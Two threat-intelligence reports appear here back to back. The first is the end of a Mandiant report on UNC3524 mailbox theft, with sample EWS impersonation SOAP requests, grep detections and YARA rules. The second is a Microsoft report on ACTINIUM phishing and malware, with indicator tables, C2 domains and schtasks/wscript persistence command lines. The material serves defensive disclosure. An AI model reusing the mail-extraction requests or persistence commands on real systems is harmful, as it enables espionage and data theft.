using Service Principal credentials. Each of these methods, their detections, and configuration recommendations can be found at Mandiant's
UNC2452 Microsoft 365 Hardening Guide.
Once authenticated to the exchange infrastructure, UNC3524 made a series of EWS API requests to extract mail items from the target mailbox.
For each mailbox, the threat actor made a series of GetFolder and FindFolder requests that returned data describing the mailbox, such as
the number of unread messages and sub-folders within the specified folder.
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
<t:ExchangeImpersonation>
<t:ConnectingSID>
<t:PrimarySmtpAddress>target@victimorg.com</t:PrimarySmtpAddress>
</t:ConnectingSID>
</t:ExchangeImpersonation>
</soap:Header>
<soap:Body>
<GetFolder xmlns="https://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
<FolderShape>
<t:BaseShape>Default</t:BaseShape>
</FolderShape>
<FolderIds>
<t:DistinguishedFolderId Id="Root"/>
</FolderIds>
</GetFolder>
</soap:Body>
</soap:Envelope>
Figure 3: Sample EWS GetFolder request
After the enumeration of the mailbox structure, the threat actor issued a FindItem request with a Query Filter that selected all messages from
a specific folder with a DateTimeCreated greater than a specific date. The date in the filter corresponded to the last time the threat actor
accessed the mailbox. This meant that the threat actor would acquire all newly created items in the mailbox since the last time they had
extracted data. This follows an approach that Mandiant has previously observed with APT29. Rather than target a mailbox using specific
keywords, the threat actor instead extracted the entire contents over a particular date range.
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="https://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
<t:ExchangeImpersonation>
<t:ConnectingSID>
<t:PrimarySmtpAddress>target@victimorg.com</t:PrimarySmtpAddress>
</t:ConnectingSID>
</t:ExchangeImpersonation>
</soap:Header>
<soap:Body>
<m:FindItem Traversal="Shallow">
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:AdditionalProperties>
<t:FieldURI FieldURI="item:Subject" />
<t:FieldURI FieldURI="item:DateTimeCreated " />
</t:AdditionalProperties>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="100" Offset="0" BasePoint="Beginning" />
<m:Restriction>
<t:IsGreaterThan>
<t:FieldURI FieldURI="item:DateTimeCreated " />
<t:FieldURIOrConstant>
<t:Constant Value="2022-01-01T00:00:00" />
</t:FieldURIOrConstant>
</t:IsGreaterThan>
</m:Restriction>
<m:SortOrder>
<t:FieldOrder Order="Descending">
<t:FieldURI FieldURI="item:DateTimeCreated" />
</t:FieldOrder>
</m:SortOrder>
<m:ParentFolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
Figure 4: Sample EWS FindItem request
Finally, the threat actor iterated through each message identifier returned in the FindItem response and made a GetItem request. The
threat actor set the IncludeMimeContent parameter to true for the request, which resulted in Exchange returning the message in MIME
format. This is important because the MIME message includes both the message body and any attachments. It is worth noting that if the
messages were encrypted using PGP, SMIME, Office 365 Message Encryption (OME), or other encryption technology, then the GetItem
response will only contain the ciphertext or in the case of OME, a link to authenticate and view the real message.
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
<soap:Body>
<GetItem
xmlns="https://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">
<ItemShape>
<t:BaseShape>Default</t:BaseShape>
<t:IncludeMimeContent>true</t:IncludeMimeContent>
</ItemShape>
<ItemIds>
<t:ItemId Id="<ID OF MESSAGE>" ChangeKey="CQAAAB" />
</ItemIds>
</GetItem>
</soap:Body>
</soap:Envelope>
Figure 5: Sample EWS GetItem request
Operational Security and Infrastructure
Throughout their operations, the threat actor demonstrated sophisticated operational security that we see only a small number of threat actors
demonstrate. The threat actor evaded detection by operating from devices in the victim environment
s blind spots, including servers running
uncommon versions of Linux and network appliances running opaque OSes. These devices and appliances were running versions of operating
systems that were unsupported by agent-based security tools, and often had an expected level of network traffic that allowed the attackers to
blend in. The threat actor
s use of the QUIETEXIT tunneler allowed them to largely live off the land, without the need to bring in additional
tools, further reducing the opportunity for detection. This allowed UNC3524 to remain undetected in victim environments for, in some cases,
upwards of 18 months.
The C2 systems that Mandiant identified were primarily legacy conference room camera systems sold by LifeSize, Inc. and in one instance, a DLink IP camera. These camera systems appeared to be infected, likely with the server component of QUIETEXIT. These cameras were directly
Internet exposed, possibly through an improper UPnP configuration, and may have been running older firmware. Mandiant suspects that
default credentials, rather than an exploit, were the likely mechanism used to compromise these devices and form the IoT botnet used by
UNC3524. Similar to the use of embedded network devices, UNC3524 can avoid detection by operating from compromised infrastructure
connected directly to the public Internet such as IP cameras where typical antivirus and security monitoring may be absent.
Detection
UNC3524
s use of compromised appliances makes host-based hunting and detection extremely difficult. The best opportunity for detection
remains in network-based logging, specifically monitoring traffic at the layer 7 level. Mandiant recommends hunting for traffic tagged as the
 application egressing environments over ports other than 22. This traffic should be relatively small, and any findings should be
investigated. Organizations can also look for outbound SSH traffic originating from IP addresses that are unknown or not in asset management
systems. These source systems are more likely to be appliances that aren
t centrally managed. Finally, large volumes of network traffic
originating from the 
management
 interfaces of appliances such as NAS arrays and load balancers should be investigated as suspicious as
well.
UNC3524 targets opaque network appliances because they are often the most unsecure and unmonitored systems in a victim environment.
Organizations should take steps to inventory their devices that are on the network and do not support monitoring tools. Each device likely has
vendor-specific hardening actions to take to ensure that the proper logging is enabled, and logs are forwarded to a central repository.
Organizations can also take steps to use network access controls to limit or completely restrict egress traffic from these devices.
For host-based hunting, Mandiant recommends hunting for QUIETEXIT on devices using the provided grep commands. Most appliances that
provide shell access should have the grep binary available.
Find QUIETEXIT hard-coded byte string using grep:
grep "\x48\x8b\x3c\xd3\x4c\x89\xe1\xf2\xae" -rs /
Find QUIETEXIT by looking for the hard-coded password value:
grep '\xDD\xE5\xD5\x97\x20\x53\x27\xBF\xF0\xA2\xBA\xCD\x96\x35\x9A\xAD\x1C\x75\xEB\x47' -rs /
Find QUIETEXIT persistence mechanisms in the appliance
s rc.local directory by looking for the command line arguments:
grep -e " -[Xx] -p [[:digit:]{2,6}]" -rs /etc
Remediation and Hardening
Mandiant has published remediation and hardening strategies for Microsoft 365.
Attribution
The methodologies Mandiant observed during UNC3524 intrusions overlapped with techniques used by multiple Russia-based espionage
threat actors including both EWS impersonation and SPN credential addition. Mandiant has only observed APT29 performing SPN credential
addition; however, this technique has been reported on publicly since early 2019. The NSA has previously reported automated password
spraying using Kubernetes, Exchange Exploitation, and REGEORG as associated with APT28. While the activity reported by the NSA used TOR
and commercial VPNs, UNC3524 primarily used compromised internet facing devices. One interesting aspect of UNC3524
s use of REGEORG
was that it matched identically with the version publicly reported by the NSA as used by APT28. At the time of writing, Mandiant cannot
conclusively link UNC3524 to an existing group currently tracked by Mandiant.
Acknowledgements
We would like to thank our incident response consultants, Managed Defense responders, and FLARE reverse engineers who enabled this
research. Thanks to Kirstie Failey, Jake Nicastro, John Wolfram, Sarah Hawley and Nick Richard for technical review, and Ryan Hall and
Alyssa Rahman for research contributions.
MITRE ATT&CK
Mandiant has observed UNC3524 use the following techniques.
ATT&CK Tactic Category
Techniques
Defense Evasion
T1027: Obfuscated Files or Information
Discovery
T1012: Query Registry
T1016: System Network Configuration Discovery
T1049: System Network Connections Discovery
T1057: Process Discovery
T1518: Software Discovery
Credential Access
T1003.004: LSA Secrets
T1003.006: DCSync
T1111: Two-Factor Authentication Interception
Collection
T1114: Email Collection
T1114.002: Remote Email Collection
Lateral Movement
T1021.004: SSH
Persistence
T1037.004: RC Scripts
T1098.001: Additional Cloud Credentials
T1505.003: Web Shell
Command and Control
T1071: Application Layer Protocol
T1090.003: Multi-hop Proxy
T1095: Non-Application Layer Protocol
T1572: Protocol Tunneling
T1573.002: Asymmetric Cryptography
Resource Development
T1583.003: Virtual Private Server
T1584: Compromise Infrastructure
T1608.003: Install Digital Certificate
Execution
T1059.001: PowerShell
T1059.003: Windows Command Shell
YARA Signatures
Note: These rules are designed to broadly capture suspicious files and are not designed to detect a particular malware or threat.
rule QUIETEXIT_strings
meta:
author = "Mandiant"
date_created = "2022-01-13"
date_modified = "2022-01-13"
rev = 1
strings:
$s1 = "auth-agent@openssh.com"
$s2 = "auth-%.8x-%d"
$s3 = "Child connection from %s:%s"
$s4 = "Compiled without normal mode, can't run without -i"
$s5 = "cancel-tcpip-forward"
$s6 = "dropbear_prng"
$s7 = "cron"
condition:
uint32be(0) == 0x7F454C46 and filesize < 2MB and all of them
rule REGEORG_Tuneller_generic
meta:
author = "Mandiant"
date_created = "2021-12-20"
date_modified = "2021-12-20"
md5 = "ba22992ce835dadcd06bff4ab7b162f9"
strings:
$s1 = "System.Net.IPEndPoint"
$s2 = "Response.AddHeader"
$s3 = "Request.InputStream.Read"
$s4 = "Request.Headers.Get"
$s5 = "Response.Write"
$s6 = "System.Buffer.BlockCopy"
$s7 = "Response.BinaryWrite"
$s8 = "SocketException soex"
condition:
filesize < 1MB and 7 of them
rule UNC3524_sha1
meta:
author = "Mandiant"
date_created = "2022-01-19"
date_modified = "2022-01-19"
strings:
$h1 = { DD E5 D5 97 20 53 27 BF F0 A2 BA CD 96 35 9A AD 1C 75 EB 47 }
condition:
uint32be(0) == 0x7F454C46 and filesize < 10MB and all of them
Indicators
MALWARE FAMILY
Indicator
QUIETEXIT Dynamic DNS
cloudns.asia
dynu.net
mywire.org
webredirect.org
MALWARE
FAMILY
SHA1
SHA256
REGEORG
GitHub
version
ba22992ce835dadcd06bff4ab7b162f9
3d4dcc859c6ca7e5b36483ad84c9ceef34973f9a
7b5e3c1c06d82b3e7309C258dfbd4bfcd
ACTINIUM targets Ukrainian organizations
microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations
February 4, 2022
The Microsoft Threat Intelligence Center (MSTIC) is sharing information on a threat group named ACTINIUM, which has
been operational for almost a decade and has consistently pursued access to organizations in Ukraine or entities related to
Ukrainian affairs. MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as
Gamaredon.
In the last six months, MSTIC has observed ACTINIUM targeting organizations in Ukraine spanning government, military,
non-government organizations (NGO), judiciary, law enforcement, and non-profit, with the primary intent of exfiltrating
sensitive information, maintaining access, and using acquired access to move laterally into related organizations. MSTIC has
observed ACTINIUM operating out of Crimea with objectives consistent with cyber espionage. The Ukrainian government
has publicly attributed this group to the Russian Federal Security Service (FSB).
Since October 2021, ACTINIUM has targeted or compromised accounts at organizations critical to emergency response and
ensuring the security of Ukrainian territory, as well as organizations that would be involved in coordinating the distribution
of international and humanitarian aid to Ukraine in a crisis. As with any observed nation-state actor activity, Microsoft
directly notifies customers of online services that have been targeted or compromised, providing them with the information
they need to secure their accounts. Microsoft has shared this information with Ukrainian authorities.
ACTINIUM represents a unique set of activities separate from the destructive malware attacks by DEV-0586 described in an
earlier blog post. As of this writing, MSTIC has not found any indicators correlating these two actors or their operations. The
observed ACTINIUM activities detailed in this blog have been limited only to organizations within Ukraine. We have not seen
this actor using any unpatched vulnerabilities in Microsoft products or services.
Given the geopolitical situation and the scale of observed activity, MSTIC is prioritizing sharing our knowledge of ACTINIUM
tactics, techniques, and procedures (TTPs), along with a significant number of indicators of compromise (IOCs) from our
extensive analysis. Our goal is to give organizations the latest intelligence to guide investigations into potential attacks and
information to implement proactive protections against future attempts.
Activity description
Microsoft has observed a repeated set of techniques and procedures throughout operations by ACTINIUM, with several
significant elements that we believe are important to understanding these activities. It
s important to note that ACTINIUM
tactics are constantly evolving; the activities described in this blog are some of the most consistent and notable observations
by Microsoft, but these are not all-encompassing of actor TTPs.
Phishing using remote templates
One of the access vectors most used by ACTINIUM is spear-phishing emails with malicious macro attachments that employ
remote templates. Remote template injection refers to the method of causing a document to load a remote document
template that contains the malicious code, in this case, macros. Delivery using remote template injection ensures that
malicious content is only loaded when required (for example, when the user opens the document). This helps attackers to
evade static detections, for example, by systems that scan attachments for malicious content. Having the malicious macro
hosted remotely also allows an attacker to control when and how the malicious component is delivered, further evading
detection by preventing automated systems from obtaining and analyzing the malicious component.
MSTIC has observed a range of email phishing lures used by ACTINIUM, including those that impersonate and masquerade
as legitimate organizations, using benign attachments to establish trust and familiarity with the target.
1/18
This phishing email from ACTINIUM uses the sender domain who-int[.]info to masquerade as the legitimate who.int
domain, assessed to be impersonating the World Health Organization
Within the body of phishing messages, ACTINIUM has been observed to insert web bugs, which are small external image
references that enable the actor to track when a message has been opened and rendered. These web bugs are not malicious by
themselves but may indicate that the email is intended for malicious use. Here
s an example of a web bug used by
ACTINIUM:
ACTINIUM
s lure documents appear to be legitimate and vary in style and content. For example, the lure document below
included a remote template at the following URL: hxxp://usa-national[.]info/USA/sensible[.]dot. While a domain was used
in this instance, links with static IP addresses have also been used.
2/18
This URL and the related lure .dot document from ACTINIUM is responsible for loading the malicious remote template. This document
uses text from a legitimate who.int situational COVID-19 update report published on July 27, 2021.
ACTINIUM phishing attachments contain a first-stage payload that downloads and executes further payloads. There may be
multiple subsequent 
staging
 scripts before a more fully-featured malicious capability is deployed to a compromised device.
s unclear why there are often multiple stages; one hypothesis is that these staging VBScripts are easier to modify to
incorporate new obfuscation or command-and-control (C2) changes. It
s also possible that ACTINIUM deploys these scripts
to provide some assurance that detection systems are less likely to detect their main capabilities. These initial staging
capabilities vary; examples include heavily obfuscated VBScripts, obfuscated PowerShell commands, self-extracting archives,
LNK files, or a combination of these. ACTINIUM frequently relies on scheduled tasks in these scripts to maintain persistence.
More information on some of the capabilities analyzed by MSTIC is included in the 
Malware and capabilities
 section.
ACTINIUM operational infrastructure and wordlists
MSTIC assesses that ACTINIUM maintains a large quantity and degree of variation of its operational infrastructure to evade
detection. ACTINIUM
s operational infrastructure consists of many domains and hosts to facilitate payload staging and C2.
In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses,
demonstrating that they frequently modify or alter their infrastructure.
ACTINIUM domain name DNS records frequently change, perhaps not frequently enough to be considered 
fast-flux
, but
most DNS records for the domains change once a day on average. More than 70% of the recent 200+ ACTINIUM IP
addresses are owned by ASN 197695 
 REG.RU. Most ACTINIUM domains are also registered through the same owning
company registrar (REG.RU). It is unclear why ACTINIUM appears to favor these legitimate providers.
Malware authored by ACTINIUM often utilizes randomized subdomains for C2. These subdomains have included the use of
an apparent English wordlist in their generation procedure, making the domains appear more legitimate while frustrating
network defense tools that may rely on domain name blocks. A list of the most common words MSTIC has observed is
3/18
included in the IOCs below. Within the last 30 days, MSTIC has observed randomized schemes being used increasingly for
subdomain patterns instead of wordlists, indicating a possible shift in methodology. One example of this randomization is the
effect of their PowerShell stager using the Get-Random cmdlet:
Examples of ACTINIUM subdomains encompassing both wordlists and randomized subdomains include:
Jealousy[.]Jonas[.]artisola[.]ru
Deliberate[.]brontaga[.]ru
registration83[.]alteration[.]luck[.]mirotas[.]ru
001912184[.]retarus[.]ru
637753599292688334[.]jolotras[.]ru
While the fast-flux nature of ACTINIUM infrastructure means that IP addresses are less useful IOCs, there is a clear
preference for it on a specific ASN. Such preference may help defenders determine whether a domain may be more likely to
be owned by ACTINIUM. A list of more recent IP addresses is included in the IOCs below.
ACTINIUM appears to employ this same wordlist to obfuscate other aspects of their attacks. For example, as previously
mentioned, ACTINIUM often maintains persistence by using scheduled tasks to run their malicious payloads. The payloads
are often named with seemingly random words and phrases with valid (but irrelevant) extensions. The files are then executed
using scripts with the /E:VBScript flag to specify the VBScript engine (and to effectively ignore the random file extension
assigned to the payload) and the /b flag to mute alerts and errors. The following is an example:
The terms deep-grounded, deerfield, and defiance above are used as the name of a scheduled task, a folder name, and a file
name, respectively. Terms generated from the wordlist, like those in the example above, have been generated and used on
multiple targets and are also used to generate subdomains as previously described. These generated terms may frustrate
network defenders as the names of scheduled tasks, file names, and others are almost never the same for each target. We
have compiled a list of the terms that MSTIC has observed in the IOCs provided below. Network defenders may be able to use
the said list to determine whether a scheduled task, file, or domain is likely to warrant further investigation.
Maintaining persistence and gathering intelligence
MSTIC assesses that the primary outcome of activities by ACTINIUM is persistent access to networks of perceived value for
the purpose of intelligence collection. Despite seemingly wide deployment of malicious capabilities in the region, follow-on
activities by the group occur in areas of discrete interest, indicating a possible review of targeting. Following initial access,
MSTIC has observed ACTINIUM deploying tools such as 
Pterodo
 to gain interactive access to target networks. In some
cases, MSTIC has observed deployments of UltraVNC to enable a more interactive connection to a target. UltraVNC is a
legitimate and fully-featured open-source remote desktop application that allows ACTINIUM to easily interact with a target
host without relying on custom, malicious binaries that may be detected and removed by security products.
Malware and capabilities
ACTINIUM employs a variety of malware families with assessed objectives to deploy remotely retrieved or embedded
payloads before execution. MSTIC has analyzed several of these payloads and tracks the rapidly developing binaries as the
following families: DinoTrain, DesertDown, DilongTrash, ObfuBerry, ObfuMerry, and PowerPunch. The PowerPunch
malware family is an excellent example of an agile and evolving sequence of malicious code and is further explained below.
The actor quickly develops new obfuscated and lightweight capabilities to deploy more advanced malware later. These are
fast-moving targets with a high degree of variance. Analyzed payloads regularly place a strong emphasis on obfuscated
VBScripts. As an attack, this is not a novel approach, yet it continues to prove successful as antivirus solutions must
consistently adapt to keep pace with a very agile threat.
4/18
The most feature-rich malware family we track relating to ACTINIUM activity is known widely within the industry as
Pterodo
. In the following sections, we break down Pterodo further and review a binary called QuietSieve that is specifically
geared toward file exfiltration and monitoring.
PowerPunch
The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple
functionality. For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64:
These binaries also exhibit features that rely on data from the compromised host to inform encryption of the next stage.
PowerPunch also provides an excellent example of this. In the following code snippet, the VolumeSerialNumber of the host
serves as the basis for a multibyte XOR key. The key is applied to an executable payload downloaded directly from adversary
infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for
clarity).
Ultimately, a next-stage executable is remotely retrieved and dropped to disk prior to execution.
Pterodo
MSTIC has also reviewed several variants of ACTINIUM
s more fully-featured Pterodo malware. A couple of features play a
direct role in this malware
s ability to evade detection and thwart analysis: its use of a dynamic Windows function hashing
algorithm to map necessary API components, and an 
on-demand
 scheme for decrypting needed data and freeing allocated
heap space when used.
The function hashing algorithm is used to map a hash value of a given function name to its corresponding location in memory
using a process known as Run-Time Dynamic Linking. Pre-computed hashes are passed to the hashing algorithm alongside
the Windows library containing the related function name. Each function name within the library is hashed; when a match is
found, its address is saved.
5/18
The hashing algorithm itself has historically not been terribly complex, and when considering an example such as SHA-256
51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45, it may be emulated using Python logic as
follows:
When pre-computing these hashes over different Windows DLLs commonly used in schemes like this, it is possible to map
out these hash values and the corresponding Windows function name using open-source tools like the MITRE malchive.
We have seen this behavior in many different malware families before. The hashing algorithm has been consistent within
those families, allowing analysis like this to scale forward. Unfortunately, in Pterodo
s case, there is far too much drift in the
algorithm for it to be used reliably. The algorithm has been different in many of the samples we
ve reviewed. Additionally, the
application of this technique seems to vary among samples. Some samples have been observed to use it for most Windows
function calls, while others have used it very sparingly.
However, Windows libraries need to be loaded before function hashes are computed. The names of these libraries and other
strings required by the malware are recovered using an 
on-demand
 scheme that decrypts the data, uses it, and immediately
frees the associated heap space once it is no longer needed.
6/18
As seen in the screenshot above, data is passed into a decryption function before being used in a call to GetModuleHandleA.
Before the hashing routine uses the module handle, the decrypted string representing the function name has its associated
heap space freed and may be later overwritten. However, the reconstruction of this data is straightforward within the two
core decryption algorithms we have observed. The first one relies on an encrypted blob whose first value is interpreted as the
size of the decrypted data in DWORD (four-byte) chunks.
This data is decrypted four bytes at a time, with the last byte being the encrypted content. Each encrypted byte is XOR
using a multibyte key sequence unique to each sample reviewed. In our example, the ASCII key sequence 39d84sdfjh is
applied to the content above to produce the module name Kernel32.
A slight deviation from this approach was also uncovered in samples such as SHA-256
2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904, where the decryption algorithm is passed data
representing two WORD values: one mapping to the offset of the encrypted content within the malware and another
representing the length. These parameters are recovered, and a much longer multibyte XOR sequence is applied to the
encrypted content after the starting index is computed.
Application of either approach allows us to gain a greater level of analysis into strings used by the malware. Continuing with
the approach used by the previously cited example, we can apply the multibyte XOR key over the entire encrypted data space,
resulting in the following content:
7/18
8/18
Pterodo has been observed to be a constantly evolving malware family with a range of capabilities intended to make analysis
more difficult. By applying our understanding, we can expose more malware elements to further advance mitigation and
detection efforts.
QuietSieve
The QuietSieve malware family refers to a series of heavily-obfuscated .NET binaries specifically designed to steal
information from the target host. Before enumerating target files on the host, QuietSieve first checks for connectivity by
sending a test ping to 8.8.8.8 (Google public DNS). The creation of the buffer for the ICMP request is done manually within
QuietSieve and contains all null values for the 32-byte data portion of the ICMP packet. If this check succeeds, a randomlygenerated alphanumeric prefix is created and combined with the callback domain as a subdomain before an initial request is
made over HTTPS.
If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked
drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z. Candidate files are queued up for upload. They are also
inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the
volume serial number, file size, and last write timestamp assigned to the file. Computed hashes are logged to an inventory log
file that serves as a reference point checked by the malware to avoid duplicate exfiltration. QuietSieve will also take
screenshots of the compromised host approximately every five minutes and save them in the user
s local Application Data
folder under Temp\SymbolSourceSymbols\icons or Temp\ModeAuto\icons using the format yyyy-MM-dd-HH-mm along
with the jpg file extension.
While the QuietSieve malware family is primarily geared towards the exfiltration of data from the compromised host, it can
also receive and execute a remote payload from the operator. These payloads are written to the user
s Application Data folder
with a random alphanumeric name and are executed in a hidden window.
Microsoft will continue to monitor ACTINIUM activity and implement protections for our customers.
Indicators of compromise (IOCs)
The following IOCs were observed during our investigation. We encourage our customers to investigate these indicators in
their environments and implement detections and protections to identify past related activity and prevent future attacks
against their systems.
Analyst note on ACTINIUM IOCs: ACTINIUM registers and administers a large amount of infrastructure. It
s not always
possible to accurately determine what malicious component connects to which C2 infrastructure. MSTIC has observed cases
where the same C2 is used for different components (for example, corolain[.]ru).
Example malware samples and associated infrastructure
QuietSieve
9/18
Indicator
Type
Comments
Jolotras[.]ru
Domain
name
QuietSieve, associated with
multiple malware samples
Moolin[.]ru
Domain
name
QuietSieve, associated with
multiple malware samples
0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824
SHA256
QuietSieve, communicates
with jolotras[.]ru domain(s)
6d4b97e74abf499fa983b73a1e6957eadb2ec6a83e206fff1ab863448e4262c6
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
eb1724d14397de8f9dca4720dada0195ebb99d72427703cabcb47b174a3bfea2
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
e4d309735f5326a193844772fc65b186fd673436efab7c6fed9eb7e3d01b6f19
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
b92dcbacbaaf0a05c805d31762cd4e45c912ba940c57b982939d79731cf97217
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
b3d68268bd4bb14b6d412cef2b12ae4f2a385c36600676c1a9988cf1e9256877
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
a6867e9086a8f713a962238204a3266185de2cc3c662fba8d79f0e9b22ce8dd6
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
a01e12988448a5b26d1d1adecc2dda539b5842f6a7044f8803a52c8bb714cdb0
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
8a8c1a292eeb404407a9fe90430663a6d17767e49d52107b60bc229c090a0ae9
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
15099fc6aea1961164954033b397d773ebf4b3ef7a5567feb064329be6236a01
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
137bfe2977b719d92b87699d93c0f140d659e990b482bbc5301085003c2bd58c
SHA256
QuietSieve, communicates
with jolotras[.]ru domain(s)
0e5b4e578788760701630a810d1920d510015367bf90c1eab4373d0c48a921d9
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
0afce2247ffb53783259b7dc5a0afe04d918767c991db2da906277898fd80be5
SHA256
QuietSieve, communicates
with moolin[.]ru domain(s)
Pterodo
10/18
Indicator
Type
Comments
gorigan[.]ru
Domain
name
Pterodo
teroba[.]ru
Domain
name
Pterodo
krashand[.]ru
Domain
name
Pterodo, associated with
multiple malware samples
51b9e03db53b2d583f66e47af56bb0146630f8a175d4a439369045038d6d2a45
SHA256
Pterodo, communicates with
krashand[.]ru domain(s)
2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904
SHA256
Pterodo, communicates with
gorigan[.]ru domain(s)
425ee82f20eb87e07a0d4f77adb72bf3377051365be203ee6ded37b399094f20
SHA256
Pterodo, communicates with
krashand[.]ru domain(s)
fe068e324cd4175f857dfee4c23512ed01f3abbf8b6138b715caa1ba5e9486c0
SHA256
Pterodo, communicates with
krashand[.]ru domain(s)
798cd714cf9e352c1e9de3d48971a366b09eeffb3513950fd64737d882c25a38
SHA256
Pterodo, communicates with
krashand[.]ru domain(s)
ef9b39705decbb85269518705053e7f4087758eea6bab4ba9135bf1ae922b2ea
SHA256
Pterodo, communicates with
krashand[.]ru domain(s)
a87e9d5e03db793a0c7b8e8e197d14745265422f05e6e50867cdfbd150d0c016
SHA256
Pterodo, communicates with
krashand[.]ru domain(s)
2042a2feb4d9f54d65d7579a0afba9ee1c6d22e29127991fbf34ea3da1659904
SHA256
Pterodo, communicates with
gorigan[.]ru domain(s)
c68eb2fa929373cac727764d2cc5ca94f19a0ec7fd8c0876b98f946e72d9fa03
SHA256
Pterodo, communicates with
gorigan[.]ru domain(s)
3b6445cf6f8e9e70cb0fff35d723fec8203375d67cbd67c9a672cddc02a7ff99
SHA256
Pterodo
bae9895ad4e392990a09b1b8a01e424a7ad3769e538ac693919d1b99989f0cb3
SHA256
Pterodo, communicates with
teroba[.]ru domain(s)
c6e092316f61d2fc9c84299dd224a6e419e74c98c51a44023f8f72530ac28fdc
SHA256
Pterodo, communicates with
teroba[.]ru domain(s)
cb0d151d930b17f6376c18aa15fd976eac53d6f07d065fc27c40b466e3bc49aa
SHA256
Pterodo
8ed03b1d544444b42385e79cd17c796fefae71d140b146d0757a3960d8ba3cba
SHA256
Pterodo, communicates with
teroba[.]ru domain(s)
Various stagers and downloaders
(DinoTrain, DilongTrash, Obfuberry, PowerPunch, DessertDown, and Obfumerry)
11/18
Indicator
Type
Comments
%windir%\System32\schtasks.exe
 /CREATE /sc minute /mo 12 /tn
deepness
 /tr 
wscript.exe 
%PUBLIC%\Pictures\deepness.fly
 //e:VBScript
Command
line
DessertDown artifact (note
generated word used 
deepness, this will vary)
wscript.exe C:\Users\[username]\continue.wav //e:VBScript //b
Command
line
DinoTrain artifact (note
generated words used 
[username] and continue, these
will vary)
alacritas[.]ru
Domain
name
PowerPunch
libellus[.]ru
Domain
name
PowerPunch
brontaga[.]ru
Domain
name
DessertDown
gortomalo[.]ru
Domain
name
DessertDown and possibly
other ACTINIUM capabilities
corolain[.]ru
Domain
name
Used for PowerShell cmdlets
goloser[.]ru
Domain
name
Used for PowerShell cmdlets
delicacy[.]delicate[.]maizuko[.]ru
Domain
name
DinoTrain
0f9d723c3023a6af3e5522f63f649c7d6a8cb2727ec092e0b38ee76cd1bbf1c4
SHA-256
DessertDown, communicates
with brontaga[.]ru domain(s)
bf90d5db47e6ba3a1840976b6bb88a8d0dfe97dfe02c9ca31b7be4018816d232
SHA-256
DessertDown, communicates
with gloritapa[.]ru and
gortomalo[.]ru domains
b9b41fbbd646f11d148cface520a5d4e0ec502ba85c67b00668e239082a302e3
SHA-256
DinoTrain, communicates with
delicacy[.]delicate[.]maizuko[.]ru
c05f4c5a6bb940e94782e07cf276fc103a6acca365ba28e7b4db09b5bbc01e58
SHA-256
DilongTrash, communicates
with privigna[.]ru
3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf
SHA-256
ObfuBerry
3bab73a7ba6b84d9c070bb7f71daab5b40fcb6ee0387b67be51e978a47c25439
SHA-256
ObfuMerry
ACTINIUM-owned infrastructure
Domains
The following list represents the most recent domains used by ACTINIUM as of this writing. Many of ACTINIUM
capabilities communicate with generated subdomains following the patterns discussed earlier. A list of commonly observed
words in these generated names is available in the next section, although it should be noted that this list is not exhaustive.
12/18
acetica[.]online
lenatara[.]ru
oyoida[.]ru
riontos[.]ru
nerabis[.]ru
adeltorr[.]ru
ouichi[.]ru
dushnilo[.]ru
hostarama[.]ru
jokolor[.]ru
arianat[.]ru
cryptonas[.]ru
akowaika[.]ru
artisola[.]ru
nokratis[.]ru
bartion[.]ru
konoatari[.]ru
torogat[.]ru
boltorg[.]ru
machiwo[.]ru
bibliota[.]ru
moonilar[.]ru
inosokof[.]ru
draagotan[.]ru
kolotran[.]ru
